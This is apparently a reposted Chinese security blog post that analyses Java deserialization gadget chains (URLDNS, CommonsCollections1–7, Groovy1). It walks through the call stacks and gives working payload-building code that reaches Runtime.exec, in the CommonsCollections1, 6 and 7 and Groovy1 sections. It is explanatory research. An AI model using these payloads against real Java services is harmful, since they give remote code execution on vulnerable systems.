2

Java 反序列化链分析(URLDNS, CommonsCollections1-7, Groovy1)

 2 years ago
source link: https://blog.szfszf.top/article/53/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Java 反序列化链分析(URLDNS, CommonsCollections1-7, Groovy1)

2021年04月, 5391 views, #java #反序列化漏洞 #POP链

Java 反序列化链分析

URLDNS

利用的是java内置类

   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

可以看到是HashMap的重写的readObject出发,

在readObject函数中,它分别反序列化了键和值,然后再putVal

image-20210314010346431

而对于键值的hash函数中,调用了key的hashCode

image-20210314010503954

对于URL对象,它的hashCode方法为

image-20210314010622287

handler是URLStreamHandler的对象,进入它的hashCode方法,就可以看到对前面的key进行了getHostAddress操作,从而出现了dns记录

image-20210314010711472

CommonsCollections1

首先是gadget链

    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

collections3 的gadget

在CommonsCollections中有一个可以代码执行的调用链,从LazyMap.get开始

当这个map在get一个key时,key不存在就会进入factory.transform(key)

image-20210317012843756

factory是实现了Transformer接口得类

image-20210317013152499

其中 ChainedTransformer, ConstantTransformer, InvokerTransformer对我们有用

org.apache.commons.collections.functors.ChainedTransformer, 可以看到ChainedTransformer的transform方法就是将this.iTransformers中所有的对象执行一遍transform,并且前面的返回值作为后面的输入。

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

org.apache.commons.collections.functors.ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

ConstantTransformer 的作用是不管输入, 直接返回一个常量.

最后是org.apache.commons.collections.functors.InvokerTransformer, 这里有反射操作

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

所以我们现在看下payload,我们将factory设置为ChainedTransformer对象,其中它的iTransformers熟悉分别为下面的内容

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(java.lang.Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
        new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/tmp/xxxx"}}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

第一个transfer是用来直接返回java.lang.Runtime.class对象,第二个利用java.lang.Runtime.class对象,先取得class对象执行getMethod获得getMethod方法,最后调用该方法获得java.lang.Runtime的getRuntime方法,第三个同理先取得method对象执行getMethod获得invoke方法,最后调用该方法执行了getRuntime方法获得runtime实例。第四个先取得Rumtime类对象执行getMethod获取Runtime的exec方法,然后对该对象调用该方法实现rce。

这时调用 chainedTransformer.transform, 等价于 java.lang.Runtime.getRuntime().exec(new String[]{"/bin/touch", "/tmp/xxxx"}), 将 chainedTransformer 作为 Lazymapfactory, 再 get 一个不存在的 key, 就能达到 RCE 的目的.

AnnotationInvocationHandler中的gadget

所以我们需要在反序列化时能控制一个可控Lazymap进行get一个不存在的key

这里看 sun.reflect.annotation.AnnotationInvocationHandler 这个类的 invoke 方法,

其进行了get操作

image-20210317014957850

this.memberValues也是可控的

在其readObject方法中, 执行了this.memberValues.entrySet(), 由于是动态代理,所以执行到了invoke方法中。

image-20210317015058942image-20210319012414638

有个小问题,java8中cc1并不能执行,https://www.kingkk.com/2020/02/ysoserial-payload%E5%88%86%E6%9E%90/。

CommonsCollections2

先看gadget链

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

可以看到是从PriorityQueue出发到的InvokerTransformer.transform(),然后进行的任意对象的方法调用。

collections4 的 gadget

先看PriorityQueue的readObject,整体流程如下

image-20210318131634742

CommonsCollections3

是CommonsCollection1和CommonsCollection2的结合

collection3中的gadget

还是collection3中的LazyMap到那个执行transform的gadget,此时我们不利用InvokerTransformer ,而是利用InstantiateTransformer,前者是调用任意对象的任意函数,后者是实例化任意类(构造器仅有一个参数)

image-20210318225347240

内置类TrAXFilter中的gadget

而在内置类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter构造时会调用newTransformer方法,这就利用cc2中的链

image-20210318225614970

所以剩下的就和cc1和cc2一样,整体链:

image-20210319012642145image-20210319020946393image-20210319020534684

CommonsCollections4

和cc2类似,从PriorityQueue的readObject到TemplatesImpl的newTransformer,区别是将 InvokerTransformer 替换为 InstantiateTransformer

CommonsCollections5

gadget, collections3

Gadget chain:
    ObjectInputStream.readObject()
        BadAttributeValueExpException.readObject()
            TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

这条链是在cc1的基础上的,换了一个到LazyMap.get的方法。

image-20210319113900158

CommonsCollections6

gadget, collections3

Gadget chain:
    java.io.ObjectInputStream.readObject()
        java.util.HashSet.readObject()
            java.util.HashMap.put()
            java.util.HashMap.hash()
                org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                    org.apache.commons.collections.map.LazyMap.get()
                        org.apache.commons.collections.functors.ChainedTransformer.transform()
                        org.apache.commons.collections.functors.InvokerTransformer.transform()
                        java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()

可以看到,和cc5的区别是如何调用到TiedMapEntry的getValue

image-20210319115726182

payload:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(java.lang.Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

String lm = "org.apache.commons.collections.map.LazyMap";
Constructor c1 = Class.forName(lm).getDeclaredConstructor(Map.class, Transformer.class);
c1.setAccessible(true);
Map lmo = (Map) c1.newInstance(new HashMap<String, String>(), chainedTransformer);

TiedMapEntry te = new TiedMapEntry(lmo, 1);

HashSet s = new HashSet();
s.add(te);

return s;

CommonsCollections7

gadget, collections3

    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec

看调用链后面还是走的LazyMap.get链。触发点利用的是HashTable/HashMap在readObject反序列化时需要重建哈希表,对key进行哈希摘要。当哈希值相同时调用key对象的equals判断其是否是同一个key,如果相同就替换值内容,key不同就用链表链接这两个键值对从而解决哈希冲突问题。

而我们就是在这里调用的LazyMap.equals后续调用了LazyMap.get。

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(java.lang.Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

HashMap innerMap1 = new HashMap<String, String>();
HashMap innerMap2 = new HashMap<String, String>();

LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", "1");
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", "1");

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");

innerMap2.remove("yy"); 

Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); 
field.setAccessible(true);
field.set(chainedTransformer, transformers);

LazyMap的哈希值的构建方法是对它map属性的hash,将所有键值对hash加在一起,具体方法如下。

image-20210709150529939

已知innerMap1和innerMap2的hash值相同, 所以在执行hashtable.put(lazyMap2, "test");时就已经哈希冲突,所以会将yy加入LazyMap.map中,所以payload中需要remove掉。

image-20210709152719919

Groovy1

groovy<=2.4.3

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                Comparator.compare() (Proxy)
                    ConvertedClosure.invoke()
                        MethodClosure.call()
                            ...
                                Method.invoke()
                                    Runtime.exec()

先看payload:

ConvertedClosure closureInvo = new ConvertedClosure(new MethodClosure("calc", "execute"), "enterSet");
Map m = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class<?>[]{Map.class}, closureInvo);

String ann = "sun.reflect.annotation.AnnotationInvocationHandler";
Class annObject =  Class.forName(ann);

Constructor constructor = annObject.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler in = (InvocationHandler) constructor.newInstance(Deprecated.class, m);

byte[] b = serialize(in);
deserialize(b);

payload不是很复杂,可以看到触发类是AnnotationInvocationHandler类,下面详细的介绍了链的走向。

image-20210706194726042

((Closure)this.getDelegate()).call(args)之后可以参考这篇文章, 最后执行到了ProcessGroovyMethods的execute方法。

其中invokeCustom中限制了this.methodName.equals(method.getName()), 所以ConvertedClosure的第二个参数必须等于触发动态代理时调用的方法名,也就是entrySet。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK